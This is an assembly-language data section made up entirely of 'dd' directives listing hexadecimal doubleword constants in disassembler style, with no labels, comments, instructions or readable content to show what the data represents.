dd 87E1BB1Ah, 109453A0h, 8941CB42h, 0EA0547E2h, 7452CB8Fh
dd 0DF34C16h, 7755E7AFh, 1D07666Ah, 0ACF6DBD9h, 1E3E6C79h
dd 0B3F2F212h, 2948828Eh, 0B40ECC51h, 46BE5DCAh, 0B5100E82h
dd 40EE5819h, 0C58EEAA2h, 41E89A4Ah, 0C4B8EBD1h, 2C2A8E7Ah
dd 0D4D1141Eh, 33E56B8Ah, 0D5212242h, 5D87A2E2h, 0D9671B59h
dd 0FCE69F12h, 0D46123A4h, 54F5AF2Ah, 0C98D3ADEh, 804A912Dh
dd 3C333D3h, 146FC1A6h, 0EE013B44h, 8594CCCAh, 18524C4Ch
dd 89C8E20Eh, 14483C91h, 750AD71Ah, 227854CBh, 9D19D362h
dd 0B8F664DCh, 0A046E9B1h, 32F36729h, 857EF4AEh, 381653BDh
dd 0C3CAF3FBh, 390F746Ch, 0A345F721h, 1E877BADh, 0A90A0656h
dd 49A58EBEh, 64460963h, 56D296FCh, 0CF801C7Dh, 0F004A142h
dd 0D7B024BDh, 2B44A962h, 0EEBE003Fh, 5015B290h, 0E9E4313Fh
dd 3AE4B9D0h, 2D2F73h, 84B2A19Dh, 0F9713BCBh, 8A01CA3Eh
dd 109A3CD6h, 2056D142h, 0EAB94720h, 7C52D296h, 0AC0A5716h
dd 9572DAD0h, 2DF4725Dh, 0A5D2EAF0h, 21426399h, 0A9CFED31h
dd 2D5967A1h, 9DF5EB5Ah, 3CC677D3h, 0C732F753h, 3D077844h
dd 0AEB5FB99h, 51198C56h, 0CCD60ABEh, 0E4249161h, 0DCCE18F4h
dd 587E708Ah, 0E4172E42h, 69AB96CEh, 0EA652A70h, 68BEB016h
dd 0F3722582h, 69ECB119h, 0FCA746DBh, 6D4ABC70h, 0F98F33F1h
dd 6245B7A1h, 0FD031931h
dd 6C8ACECEh, 5344D4Fh, 7205D500h, 0D632991h, 7C0ADE0Eh
dd 15745DAFh, 0AC0AE560h, 0FBC144FDh, 0B046DF7Fh, 23F25102h
dd 0B270EBB9h, 0B2154BDh, 0C0C6EFDFh, 35446382h, 0C3D3E21Fh
dd 4B847BA0h, 0A919E8EDh, 49BF8EBEh, 0CA50196Ah, 5CD48BF0h
dd 6C7F1996h, 6018A26Bh, 0DD8720EAh, 46359B59h, 0E1D509F9h
dd 6F638E8Bh, 0F7F42730h, 6D8CB5F1h, 1F4A53h, 7EB2BEECh
dd 86437C0h, 1807C516h, 0E754EB3h, 8332D24Ch, 16AE38F9h
dd 9456DB91h, 1B024FF2h, 7E55E7AFh, 191A4359h, 0A6EEEFEFh
dd 2953698Bh, 0AFFEF2FEh, 2F7056A3h, 96F5F462h, 35B361D9h
dd 0B91FF371h, 35DA861Fh, 0C592E399h, 0DC0E8C54h, 0B5B912AFh
dd 53248B63h, 0DCC40B21h, 537F939Fh, 0DE161D51h, 68749BE0h
dd 0DF471F6Fh, 3DF4916Dh, 0F27632B0h, 4F5B739h, 0FB8832E0h
dd 6F40BD4Ah, 90C13308h, 826FC1B0h, 98013922h, 8499BFCCh
dd 221514Ch, 91A6D0F6h, 0D6366A2h, 9FE5E010h, 0B0715CC2h
dd 9F24E160h, 1356AE2h, 0AE4AEE93h, 3E1630Bh, 0A974F1A1h
dd 2C076775h, 9565EFD1h, 4232828Bh, 9BD9F723h, 47748AA2h
dd 0BF0A0853h, 33B183D1h, 0C9390379h, 5CC76F3Dh, 0D17F1C8Ah
dd 55057D31h, 0BDC5F3E3h, 6A52AA5Bh, 0CBD91F13h, 5577A38Dh
dd 84C62E3Fh, 6DA1B4F6h, 4A385Fh, 74B6B3CFh, 0F9713BCBh
dd 6EF1977Dh, 0CF5E2AAEh, 6C510C8Fh, 9D36201h, 9749A9A4h
dd 111C4F20h, 95A3EEB6h, 1915416Ch, 0B1D2C1DBh, 0BC6672AAh
dd 91F0E32Fh, 3D7367BAh, 0BD09E773h, 0DAD4FCAh, 0B732E09Dh
dd 2AD97740h, 0BD82029Eh, 0DCE6922Ah, 0CA1F51B3h, 6F5778CFh
dd 0BA761071h, 42CD9C24h, 0B225C3BCh, 0B84CB27Dh, 0C85F0C53h
dd 14D5391Bh, 0BEA7D31Ch, 0C804C25Dh, 903324ADh, 71E572Dh
dd 0F8A696C8h, 0FC45D20Dh, 9BD122FAh, 217BDAD7h, 0A442E2Eh
dd 74516DCAh, 0FC45BAB8h, 7E16AA17h, 96E2EDD0h, 0B7C50293h
dd 4D388241h, 3CB53813h, 831DC260h, 81F997C2h, 91E486ADh
dd 0B4930AD7h, 0D0038EADh, 0A5F65688h, 29655697h, 1CA43257h
dd 0EEBB7265h, 469AA19Dh, 6B75B64Bh, 3EB44AE9h, 8958EEA2h
dd 0CCFBA94Fh, 4FF4F820h, 3D3DB940h, 0FE83D1Ch, 8485E7C9h
dd 0F48D96BDh, 17654A5Fh, 9BD5B851h, 0FC853C41h, 18A5D67Dh
dd 6735CD7h, 92B9C65Dh, 0A4AB62CDh, 2745B96Eh, 0BCAFC03Ah
dd 2FAECD1Dh, 0C4DF98FAh, 0AC387BFDh, 4422057Eh, 23150EF2h
dd 0C41A0F41h, 4BF516ADh, 0CB94617Eh, 125299CFh, 6145A2D3h
dd 58CD70FCh, 0DB3C02EDh, 0E51C9D5Ch, 0E415E017h, 9190B5BAh
dd 6FDAAADh, 0FB88ADBCh, 4DFF80Ah, 0A6A8C3FDh, 0E4A5BA56h
dd 7FE8BDE6h, 424B47C8h, 487246ADh, 9BE2EA59h, 90D577B8h
dd 13DF4625h, 6A32E1ACh, 0A125EA03h, 2D9C529Dh, 24EEAA44h
dd 0A6B8CE3Dh, 0F35C69A4h, 98A2B1DCh, 34C5F28Dh, 0D44AF7CAh
dd 6FA50A68h, 67920BA6h, 95851253h, 18465771h, 0E130DBFEh
dd 0D0E5CC4Fh, 5329168Ch, 0E8B7BC12h, 6063F7EDh, 0E03D735Dh
dd 0C10522CDh, 3AC13BEh, 6B7B2ABDh, 0B5F43AAh, 0C675327Dh
dd 0F811D6BAh, 40243A57h, 85D0A4E9h, 84955D11h, 8D30E67Ah
dd 8C556583h, 10FBCEC1h, 0AE6B95B2h, 18AE3E45h, 0DEA25AEDh
dd 0E9A7883Eh, 0D44D2FAh, 3898A6B2h, 0B4696FADh, 0C5DEB025h
dd 0B4B5B14Dh, 8D745874h, 0BCA57A15h, 2D96DBDDh, 0C4959DEAh
dd 8731A338h, 48E48A3Dh, 5FD516C1h, 0D4454B89h, 6009977Dh
dd 30259AEFh, 609622C5h, 5E9A21CDh, 0F375364Bh, 10693721h
dd 70552F21h, 0DCC59CBDh, 78353601h, 0FCF38C1Bh, 0F682BDB4h
dd 3785D273h, 8C80D376h, 5D65CA2Eh, 0E1D338CEh, 146DD3A7h
dd 0EAF5567Dh, 5A636F44h, 25FF5E6Dh, 74DCD67Bh, 0A9714E71h
dd 2B18EAADh, 0B2359271h, 0C9A0F28Dh, 0B825B51Fh, 0B0E57FA6h
dd 1001E1F3h, 446B56C8h, 1E40576Fh, 8AEB9F64h, 552E8E8Dh
dd 0AA7507CDh, 16CF2B2Ch, 0B3A21ADDh, 4AC070A1h, 0FB92FA89h
dd 0E875A741h, 0D6255D58h, 9B84870Dh, 0C47502BDh, 4A65864Dh
dd 0BADBCF84h, 0C496BEEDh, 84854445h, 10D1BA4Ch, 0CB53DFE4h
dd 0FA4CE8Dh, 0A420647Ah, 1C73B37Dh, 0A64FDAEDh, 0AB4FDF52h
dd 0B41AE642h, 0B57E493Dh, 0BCD56A3Ah, 8626F11Dh, 7449C4D4h
dd 39187EFCh, 40A07A6Dh, 4015FFEDh, 39BBC0CDh, 8675CCADh
dd 0CDE9992Dh, 0D0D50E9Eh, 0C5DAB2D3h, 0A8B797C3h, 51E86836h
dd 2658A99Fh, 0F50A38Bh, 68CBF77Bh, 0EB94807Eh, 80483892h
dd 0B5DC8B8Dh, 78D8BBFCh, 8122BA6Dh, 80055C78h, 10EDC227h
dd 0D8F546BDh, 16DA4980h, 0CDD55EBCh, 1445D201h, 9838DB7Ch
dd 0CDFEDAEDh, 21955E5Dh, 6DD3B2B3h, 4DF27573h, 0AFE5EAADh
dd 0ECB97663h, 0CD490182h, 0F43576FDh, 0E8D4EF4Dh, 4518B8D9h
dd 448502C1h, 0E8D5931Ah, 6D722A0Dh, 45417384h, 7421BE14h
dd 563692B2h, 0D0FD3AC4h, 61A693D1h, 9E352573h, 50E2D55Ch
dd 6CF0F1EBh, 0CBDF2Ch, 6BC532ACh, 8DB888DFh, 7CB578D7h
dd 5045FED0h, 8D6D121Dh, 4CF5C6BDh, 0F83F4154h, 10B1AF0Ch
dd 0D33BE714h, 0D832D68Dh, 655490B9h, 5F5163E6h, 0CD662DDh
dd 0A875E83Dh, 0FC173BFEh, 6F67833Ch, 4952727Dh, 3825118Ch
dd 10DEAD9Dh, 91C3CE2Eh, 161A019Eh, 0CFF5168Bh, 6130AE29h
dd 50E54CC3h, 61C5D595h, 58A52BB4h, 466413EEh, 5F96085Eh
dd 0E83421C0h, 28F23B8Ch, 0C7B48499h, 7BC47EA8h, 81E18290h
dd 881A79B2h, 80B456Dh, 0B153EDEh, 486CAC7h, 0B31D49BDh
dd 0D7DCAAF8h, 4B6F470h, 9E3990Ah, 5F348498h, 0E89CADF4h
dd 0F0C1E934h, 75C5CC19h, 0A7D8506Fh, 3CAF503Ah, 0ADAF91Dh
dd 0B7C50293h, 870C8241h, 3A863F0h, 0A81568E4h, 47508B4Dh
dd 0E285900h, 9EA6E1F9h, 391A6A62h, 0C7F00430h, 34817C9Ch
dd 0C0FF031Ch, 3CA495CCh, 0D6331790h, 3EE19422h, 0D5741C8Ah
dd 35299C4Ch, 0E3B122D5h, 0F8439B6Fh, 0E3D31B19h, 6F5DB282h
dd 86853640h, 8C5C6BDh, 0FC654A2Dh, 79CDBDEFh, 66E80A2h
dd 8416BD20h, 0CA8E52CEh, 6E95CA4Dh, 0C4CC2506h, 8E4CCD99h
dd 26EE5C1Eh, 75A4C327h, 0FE1A923Fh, 58E7BFBCh, 2E3E704Bh
dd 951BF311h, 0C4858225h, 3576E3BDh, 0CC55A892h, 654093E3h
dd 0D34592FDh, 68B71412h, 0FB7DDBEDh, 7EBB5AD1h, 22F75748h
dd 14BE262Dh, 167AD8E1h, 6F47AF43h, 81E4A772h, 88F870AAh
dd 0FED7456Dh, 256FE3B4h, 3C3547C2h, 0D6846ADh, 0C5502FBh
dd 8A8FD777h, 0FDFA081h, 679357EEh, 3DFDAA58h, 23A8DDD8h
dd 280D06F1h, 0B0CD2A92h, 7FE5EAADh, 0F43731E3h, 33C5BE41h
dd 0C8F70092h, 0B0E5056Dh, 0C2FB11EAh, 761A81A0h, 0C7F5968Bh
dd 0E33D9D7Dh, 0B8C80DFBh, 54451208h, 37745CD0h, 0A03FED34h
dd 0DF956AA9h, 74FFAC5Ah, 0E6D90E3Dh, 6EFDA924h, 0EF882DB3h
dd 84B39002h, 85EEE9FDh, 8CE3A2EAh, 51468FDDh, 0D5D6121Eh
dd 8E8245EEh, 74655A23h, 10D5CEA8h, 0E68A25BAh, 5CC70870h
dd 9B2526B1h, 306768F2h, 0A40BCACDh, 9B60E63Dh, 1AFE5C1Dh
dd 3096D4B1h, 0E63AF13Dh, 0C135062Bh, 0CC8FB4EAh, 0CD260DDDh
dd 0D49E7FC2h, 88728FBDh, 1D659A24h, 8E5BA3FCh, 3CB492FDh
dd 58B51681h, 0F59B4F72h, 0EDCE1E6Dh, 0F400C832h, 5D338E3Dh
dd 0B3872924h, 80671BA2h, 7775B28Dh, 881725A2h, 9122BA6Dh
dd 80055CCAh, 5EB961Dh, 0F0C346D7h, 8C65CA2Fh, 0CFFBE37Ch
dd 0D4CAD2FDh, 25D34B47h
dd 2C2FBA72h, 0A63B305Dh, 42B29742h, 0FE41662Dh, 7E16BAFDh
dd 0EF37033Ch, 33FDF27Dh, 0C8F89C92h, 832A406Dh, 0C0158E1Eh
dd 44850E25h, 17445DBDh, 7E74D5F0h, 1C1952CBh, 0DEBA910Dh
dd 6BB5A66Bh, 5C252155h, 0C1E22B5Dh, 0BD0532D5h, 265F63BAh
dd 0A9FD2ABDh, 0D8882DB2h, 74C53281h, 41677F54h, 0AAF9FF33h
dd 598AA1h, 0C20BD7B4h, 0C872C6ADh, 8E7ACE34h, 7864CE9Dh
dd 9445520Ah, 31988BFAh, 296E5ADDh, 3068F01Ah, 9907CACDh
dd 0E5F4650Ch, 0ACD5A9BBh, 40D1FD1Dh, 35C5728Fh, 38368659h
dd 0BD3D4E6Dh, 3F15FEDEh, 0D4BFF8DAh, 0D8B187BDh, 1C658A2Eh
dd 503B6228h, 0EABA113Fh, 0DDB5266Ch, 0E91A73ADh, 6084A6C5h
dd 8E9A21CDh, 5375364Bh, 5B322D0Fh, 70553E1Bh, 7952DBDAh
dd 78255470h, 0FE3A391Dh, 5154EDCh, 8D09D18Dh, 13F546BEh
dd 0CDCD66Dh, 15587E7Ch, 1435F0A4h, 0D9F0DBC3h, 8626DADDh
dd 0A96485Dh, 329A61CFh, 2B75764Ch, 0B0E069A5h, 0B0556FBDh
dd 9F3A7F00h, 2235860Bh, 3B74CC5Dh, 0D027FC72h, 53C5874Dh
dd 0C8F64642h, 0D8F2972Dh, 81D59E9Bh, 4E217A05h, 6C8D152Ch
dd 0BA251AEDh, 141E0488h, 0F9C0F6A9h, 0E885E4BFh, 8A4BE732h
dd 0F1C6AE0Dh, 731B4F65h, 7FA243ECh, 0E6A54A63h, 1A6DDh
dd 0D7D3424Dh, 47EB5B4Ch, 0D0E24A3Dh, 0A55AE2C1h, 94351425h
dd 223FE54Dh, 0B0491E78h, 229D3E9Eh, 0EE136307h, 2B2BF83Fh
dd 0B4C92EB8h, 0F1584F9Dh, 0BFF67AEDh, 37251AC1h, 79224A3Fh
dd 40053D25h, 0C4859E25h, 7EC72BBDh, 0EC7FAAE5h, 750B2ECBh
dd 0C2FB7EAh, 787D3BA5h, 261B8D0Ah, 80D7E7ACh, 79C079CDh
dd 68856447h, 0EC41EE2Eh, 70FB2E1Dh, 0F37489BDh, 88F84092h
dd 8C22456Dh, 0EA154EF2h, 6F9C254Dh, 70C65376h, 0C65CA2Ah
dd 9AB173C3h, 0A9E0A90Dh, 98A59467h, 6C211E70h, 0A73D69C8h
dd 0B105E2CDh, 0B87706CAh, 2B14C1ADh, 0C0487892h, 0B285778Dh
dd 8203D1h, 0BFA50A44h, 0D0020E42h, 0D112024Dh, 0C8054784h
dd 4CBB5818h, 0CF24644Eh, 6420187Ah, 0D8FD197Dh, 0E7B64943h
dd 28E22B5Bh, 140532B4h, 5D07183Ah, 96FD0ABDh, 51882DB7h
dd 7D2449DFh, 0E336AD7Ah, 0A760C597h, 48AA4B2Bh, 77855274h
dd 0F3204D21h, 21B01DA6h, 10E50C77h, 0A9580F8Dh, 8CB6D68Dh
dd 11554217h, 0B5A8DE5Dh, 0A415A027h, 6930A3BDh, 20E56ABDh
dd 9FD2350Eh, 0B4C58273h, 0FE35F6FDh, 0CC6641EAh, 487EFEDDh
dd 8B000133h, 58028642h, 0CC658A2Dh, 5493EB1Dh, 234B9F0Dh
dd 0C788045Dh, 4200BA53h, 0C6BE0A7Dh, 33E5C36Ah, 0D5CE1A5Dh
dd 5B79CA8Ah, 0DCF211FDh, 559394EAh, 85161B71h, 1C85DA77h
dd 0A0585EBDh, 71F2B740h, 0EFD538E2h, 7149BC4Eh, 9ADA6F0Bh
dd 7971B7BFh, 0FD094A1Bh, 9581CDC0h, 1036467Dh, 85E5DBFDh
dd 0D954A9Bh, 8F0ADA25h, 24774FB1h, 0A81412A1h, 21D164DEh
dd 5C8BE193h, 171B8BCAh, 0AC64F6AEh, 0E8107456h, 6CC1F6CEh
dd 0F04E6F81h, 74E9002Eh, 40907F9Bh, 0C2454639h, 467590CCh
dd 0D22A0B7Fh, 31959921h, 0D58621CDh, 0FA5AE831h, 0E6AA1ABCh
dd 6A56D662h, 0EBCE5A0Ah, 6635EA92h, 0F2EA2B3Fh, 28D8B9E1h
dd 0F1423970h, 849EEEBEh, 0B4543BEDh, 7D0ABF31h, 105E7A0Eh
dd 8C75D184h, 0C5AA56EEh, 2D6CE0D1h, 69256BB9h, 0E3553FA0h
dd 0C0356958h, 84939795h, 0CC078E56h, 2DAC11FBh, 17306B14h
dd 824CDF74h, 712BE410h, 9000E0AFh, 36BE3F4Ch, 7800C6C8h
dd 4216D257h, 0CE7443F3h, 0D45AF5BEh, 780F3A30h, 14F5DCABh
dd 47A01A4Bh, 662CB7C6h, 0B9C9404Eh, 0A75E456Ah, 80153EDDh
dd 485C24Dh, 88F546BDh, 0C65CA2Dh, 90D54E9Dh, 1445D20Dh
dd 98B5567Dh, 1C25DAEDh, 0A0955E5Dh, 2405E2CDh, 6012E99Dh
dd 2CE5FAEFh, 0F2C913A0h, 43C5F27Dh, 452139B4h, 0F3A012A0h
dd 90148428h, 68A9C6C8h, 3AE94898h, 54A34546h, 125CA270h
dd 60033DF9h, 1A3D2BF6h, 0E19E1ADDh, 0E0856019h, 268427E8h
dd 493E0855h, 0F4E52EEFh, 318DA2h, 74A99A8Dh, 184DB6FDh
dd 9A53A6Dh, 10344A62h, 9CBE1B4Dh, 0C874D2D1h, 8BB8AC29h
dd 20936222h, 6DD8950Dh, 3CD86380h, 0AC045ADDh, 0AFA9CEDCh
dd 0A82DE5CDh, 0C5EE5C1Fh, 0ACD58D31h, 0A45528A0h, 0B7D39D8Ah
dd 86AA06EFh, 1A6C5201h, 0B4153860h, 0AFB30149h, 582385C0h
dd 0CB306155h, 7B9739FCh, 0E4034E82h, 0A3B4EE7Dh, 61A0DDF9h
dd 6085E0F5h, 2699270Ch, 6875262Dh, 28FDAAADh, 0FB552E1Dh
dd 483460Ah, 6E8E9EFDh, 143D3984h, 3153EDDh, 14C356F2h
dd 90A246BDh, 305D67B6h, 2C3C4E8Dh, 56B95F14h, 2774568Dh
dd 2C63726Ah, 3402E75Dh, 0C05F20Fh, 0A8756640h, 0B7A433E0h
dd 0B055EE90h, 21ADC48Dh, 0BB38F56Bh, 4C63B6DAh, 433F81DDh
dd 53850EB7h, 0C8F68D41h, 5CAB8D2Dh, 0CD519D9Dh, 0DF45120Dh
dd 0C065A2BFh, 5B9098B5h, 22E92360h, 2A0422DDh, 686D30EDh
dd 85792A26h, 6437279Dh, 652CF290h, 79367E78h, 5B70998Eh
dd 44EE3F3Ch, 0F9850E01h, 0D0CC9F59h, 9BABC3B0h, 10D5852Ch
dd 0CC6380Dh, 27C309ABh, 9C25056Ah, 5A14B45Dh, 2F0A57CDh
dd 2ACCF677h, 9DE47438h, 2E8356CEh, 69C4F1D4h, 3825B8A9h
dd 34E5FFD2h, 0C4910D98h, 0C385824Dh, 5833C212h, 213D5A2Dh
dd 53C88DFBh, 0E4034E8Ah, 1432A57Dh, 0DF25AA2Fh, 0E3C44261h
dd 0BFF4A40Dh, 4B6DDC3Ch, 0C1E2ABFh, 94316F50h, 18C1DB89h
dd 0D3114216h, 7D3E252Dh, 3BC04D18h, 85BFB692h, 0F6B2EE48h
dd 8D77BE08h, 310C2778h, 952FC614h, 4DD3ACA8h, 9D47CE91h
dd 0F8BEF1D8h, 0A51FD680h, 0CE6308h, 0ADD7DEA0h, 0D5483438h
dd 0B5CFE6EEh, 0DDF8A668h, 3BA7EE0Eh, 0D0D31672h, 0B5EEDD4Dh
dd 269805CCh, 35594CB0h, 0CFC80C0Ch, 58EB14D0h, 0CD6EFEC5h
dd 0F19D99C4h, 0E085C496h, 7CF6DA6Bh, 0CC35083Fh, 0D2032CB0h
dd 484F9888h, 731A6065h, 0F339ECh, 81BB8BECh, 0F53626B5h
dd 7E05C1B4h, 0B8ECB9C0h, 0C5EA4C7Dh, 0BAD5DEC3h, 0FC6B7928h
dd 12358045h, 4C2D4FF0h, 1596466Eh, 0A57DE174h, 0AC75E63Dh
dd 7DE25E7Fh, 1B1B6C3Dh, 6CCADDDBh, 0B835F6FDh, 7F10DCD8h
dd 7985936Ah, 9BAC825Dh, 3FB460D4h, 0DC6E0EAAh, 50D50E9Dh
dd 94BAA1FDh, 4EAC763Eh, 0EC4E1C6Ah, 66A21F5Dh, 98EAF6Bh
dd 0ED5F3998h, 0ECD5E32Fh, 0D64F231Fh, 0DFEAE382h, 792A1C01h
dd 0E4FCA04Ah, 7FE8BD59h, 8DB985C8h, 98B3F232h, 3A4752Dh
dd 0A00ED222h, 1445D20Dh, 5822658Dh, 4BB96E9h, 9FA8DDF9h
dd 66757746h, 2DDF662Dh, 2CD5232Fh, 0BF51631Eh, 5FC35D9Eh
dd 0AF74213Dh, 4C8E7EEAh, 0C0157EDDh, 0CEA8F65Dh, 0D8DE8442h
dd 57454B2Dh, 155C9B83h, 4C95BD2Bh, 563220D7h, 1D252A06h
dd 4792B93Dh, 0F07AB69h, 93CFE650h, 0D02D3C18h, 9B55B3ACh
dd 0AD9FB707h, 5031B60Dh, 27AD9AAEh, 94920420h, 8D85526Ch
dd 465EB58h, 44476AD8h, 0BBAFCE88h, 986B6B28h, 0CAE3E45h
dd 0A0A2D944h, 28B51FAFh, 648E67EBh, 2BCC91A3h, 163BFA5Dh
dd 20FDC618h, 34A0F1E0h, 48108A82h, 0B625806Dh, 0C438F1E5h
dd 0C2C4761Fh, 46B4FAF7h, 0CA287E77h, 4EAE02E7h, 0D25186C7h
dd 56A80A37h, 8C208EB7h, 105C8956h, 0BF754C4Ch, 5D256A98h
dd 0E435EA18h, 6794EAC8h, 4DE360Ah, 781536FDh, 71276A6Dh
dd 0D1142DFh, 0A90B4004h, 88057FC9h, 8E5754Bh, 40D043A2h
dd 1390520Dh, 0FA8D003Dh
dd 13105944h, 0B06EE2E2h, 24C5E2CDh, 0E1D4C3Dh, 0E0E3DFDEh
dd 60BC5406h, 0B24AFC75h, 78358626h, 24FBFD0Dh, 0BF68FDDAh
dd 0C9F88AFDh, 0C805BF41h, 4C658A2Dh, 56859072h, 8DE1B787h
dd 838F968Dh, 0D12A966Dh, 60954E64h, 0E45A184h, 781A3380h
dd 54E53AE6h, 0EF882D2Ah, 0AD49B75Ch, 0F835B60Dh, 7FD93E6Dh
dd 0F7BB9E4Dh, 94BEC6CAh, 8F5C6BDh, 44683E3Dh, 103959D2h
dd 19D82168h, 18A50F01h, 9D255AF0h, 20A5626Ch, 8C7562CDh
dd 0E5EE91D7h, 0ACD52C41h, 2F073A45h, 5EAD22D4h, 0D87A7F98h
dd 0A4A58AAFh, 3F687C5Ah, 0FD09073Ch, 48F406ADh, 0E6B98A2Dh
dd 895193F4h, 0D44592FDh, 6281177Dh, 0DB8FC8D5h, 5E0C865Ch
dd 0CD7521F4h, 0EDECD1D7h, 0ECD56C41h, 383C7DA8h, 36696F06h
dd 0C0AE360Dh, 60C87281h, 0B3BC741Ch, 0FB2CA88Dh, 98DECA42h
dd 0C65CD2Dh, 86E4429Dh, 241E548Ah, 0A201D67Dh, 1B128455h
dd 9E4CC6DCh, 8B7D6174h, 538FEFA1h, 0D7072AE0h, 0E9D1F334h
dd 34C4F27Dh, 12C176FDh, 75237FFBh, 35957EEDh, 41066A47h
dd 0FA8D05CCh, 34308963h, 0CFC80B9Fh, 686D325Dh, 0BBF81528h
dd 5BCD0006h, 71FC8472h, 0E89AAD28h, 0DF75B646h, 6F23A1FFh
dd 6555AE1Dh, 70019A79h, 178535ECh, 7B4BA895h, 0FFADA41Ch
dd 152C285Ah, 93285118h, 9C23EEAAh, 991DF99Dh, 19D8CEC5h
dd 18A50F01h, 9C255AF0h, 0A5A01651h, 0A4159B49h, 3275E63Dh
dd 31789619h, 306527A1h, 0B5C5728Dh, 0FA4D00F2h, 0A4D0F902h
dd 3F687B28h, 0FD09073Ch, 48F506ADh, 0D6B9922Dh, 4FCABA05h
dd 0D1E6FA94h, 0DD00952Ch, 0DC35D369h, 60951E61h, 7AADB979h
dd 2058A58Ah, 0B4EFEAD6h, 305DE688h, 0AC6CB6D9h, 0DFCCAE72h
dd 0F9D022D8h, 5E0BD1Ch, 495FBC9h, 88F546B5h, 0C9E5BC5Ah
dd 90E5871Fh, 0FC6EC60Dh, 9778D322h, 452D0385h, 1EF268A6h
dd 0E405F2B6h, 4D6B6921h, 2CD52323h, 0AD9CD688h, 0E55571D4h
dd 3AB20097h, 0E6A50A46h, 0BF6ABA85h, 0C9371134h, 0C805BF4Bh
dd 50250EB2h, 0D8B5CF5Dh, 0FFE79F5Dh, 2F4B97EDh, 5B923AD5h
dd 469C75Ch, 5FA3DA6Bh, 6CF21DE6h, 7CE53AE6h, 6455AE1Dh
dd 1E8EE28Ch, 0F2426E63h, 27C79B6Fh, 0FFE93A05h, 2E6DF2B4h
dd 914C0690h, 9C23D2A2h, 9452459Dh, 0B44562D6h, 8DB5D67Dh
dd 7AFD31DCh, 7AA85DD9h, 0FC75B148h, 0AD6B3058h, 0ACD5A321h
dd 0DA09B8A6h, 0B3A1BAE5h, 0B97DDC6Ch, 402AF12Dh, 80150ED6h
dd 3885824Dh, 70B186C0h, 5B12F37h, 0FB2F0E8Dh, 16D14F86h
dd 4F4C168Dh, 0EC4E1E6Ah, 60951E5Dh, 940E978Dh, 0E4F228EDh
dd 96E5BAE6h, 0A9D1B3B4h, 0F445B27Dh, 834236FDh, 819B72BDh
dd 8005779Ah, 6AC22DE7h, 7FFD7705h, 1C6E4EAAh, 90D64E9Dh
dd 0C443C60Dh, 15526056h, 0DC25EA06h, 459B61C1h, 24151BF2h
dd 604F11A3h, 0B1785A2Eh, 0B065A7A1h, 34C5F48Dh, 808178F2h
dd 75529F77h, 6BEF7EEDh, 862DBFC6h, 585D86ADh, 0F7650A16h
dd 95113F4h, 544D12FDh, 4981967Dh, 5B913AD5h, 6412155Ch
dd 640532B6h, 5D75A641h, 762DDAB8h, 4EACA2h, 0C12CDC8Dh
dd 31B13BF4h, 84A53A5Dh, 1162BEDDh, 6404FA2Bh, 41976BB7h
dd 37474A3Dh, 0FB7B0EB0h, 0BD9D38FAh, 9652E085h, 5C256A06h
dd 0C59BE1C1h, 0A4159BF3h, 0ADE091A3h, 0ACD5A329h, 3055FE1Dh
dd 74462A6Bh, 0FCB5F9F1h, 3A0A8475h, 0A6150ED6h, 493791E8h
dd 48053F3Fh, 0C700F298h, 0D5C08DFCh, 0D435CB89h, 98B5167Dh
dd 2CD5A839h, 99A9A35Fh, 0CC6BA2DDh, 6758A1B2h, 75EF7932h
dd 8013BEAAh, 784A298Dh, 78354626h, 7025BA6Dh, 2AFDEEE9h
dd 0B8424BE8h, 73F556FFh, 7C6322Ah, 0FA3DCD7Ch, 0BE05118h
dd 0A8BEDA02h, 1D25DAEDh, 509C535Dh, 0A08AEC0Dh, 52757646h
dd 0E407F998h, 555BAEA0h, 34B52B51h, 0B98521E3h, 0C02A71D7h
dd 0C0158ED6h, 0B985044Dh, 4C72FD9Ch, 4C651A26h, 45D5929Dh
dd 5E85C2F7h, 0E8BE9402h, 0DFCAA4EDh, 0A195AE96h, 1C2732EDh
dd 980C2723h, 1CDD95ADh, 6ED2B85Dh, 1EC54296h, 31B13BF4h
dd 7CA53A5Dh, 1062BEE5h, 6C04FA2Bh, 419A6BB7h, 37474A3Dh
dd 183CCF2Dh, 194B1A5Dh, 18A50F2Ah, 96F0C297h, 0A5A05DDCh
dd 0A4159B49h, 2885E63Dh, 0D1FA5F5Eh, 28D4A6C3h, 0ED221787h
dd 0E3CFF60Dh, 0E5FBBA40h, 50D38E5Ah, 480AF94Dh, 48F51686h
dd 4165AA2Dh, 3B40BF9Ch, 0DD9D78F8h, 0D5522085h, 9C25AA06h
dd 59B2141h, 0E415DB72h, 258ED123h, 0ECD56C3Dh, 15DB6FA7h
dd 0F4B574FDh, 0D085E163h, 35D13F6Fh, 68BB3EEDh, 3803C36h
dd 0C171CB54h, 0C64CA3Dh, 0BCC14F9Dh, 4DC9571Ch, 98B5568Dh
dd 3C9AE2EDh, 0D911E3D4h, 2405E2DDh, 0B262693Dh, 2B6E4895h
dd 0AA9CD63Ch, 34AD71D4h, 0A038F567h, 3BD074AEh, 0F9910394h
dd 4485025Dh, 0D02196BDh, 34FB539Dh, 0CFC808CAh, 8DC9979Ch
dd 0D8B5968Dh, 86191EEDh, 657BA50Dh, 64155B71h, 0F57B067Eh
dd 6CC93236h, 2909531Fh, 5805327Dh, 0FCF13600h, 7550A2D8h
dd 61A53D1Ch, 7D78AAE7h, 0C08F454Ch, 315BAAE4h, 10E507F9h
dd 7AEDFDABh, 0F7855A6h, 0AC4EDE6Ah, 2095FE5Dh, 2FC956CDh
dd 0B0EA7104h, 0D7E57AEFh, 2C96775Eh, 39CB4A1Dh, 38252FE9h
dd 0B510E2D7h, 0C5607D9Ch, 0C495BBC9h, 483506BDh, 84C796D9h
dd 0D5DB514Dh, 0D435CB11h, 108F2018h, 811BFAC4h, 608557D9h
dd 7AAD4D6Bh, 5F58A586h, 0FCAE2E2Ah, 7055311Dh, 7F80A68Eh
dd 18B2C1BCh, 27A5CA2Fh, 7C5DC725h, 89780B80h, 88057F41h
dd 0CE5CA2Dh, 155A5CF2h, 14350B91h, 18F55EF7h, 1494DD46h
dd 0E4DA62EAh, 0E505F2A9h, 33256E1Dh, 92E74D58h, 16159F75h
dd 0C35DD828h, 0B87D5E7Dh, 1DA3FA6Dh, 6BCD2903h, 4A7A4BCAh
dd 88E63E63h, 0FF5B5CBh, 0C9FCF647h, 0D9589194h, 0D8A5CF01h
dd 0DC251AEDh, 0AF1CB8D1h, 0A679A748h, 0B08CA62Dh, 54F1F236h
dd 0EF88273Ch, 5C6B751Dh, 0F7B82F02h, 0B535BFF2h, 85E0BEEDh
dd 84957BC9h, 28F5C6BDh, 0B718505Ah, 293CA675h, 0BF2D2588h
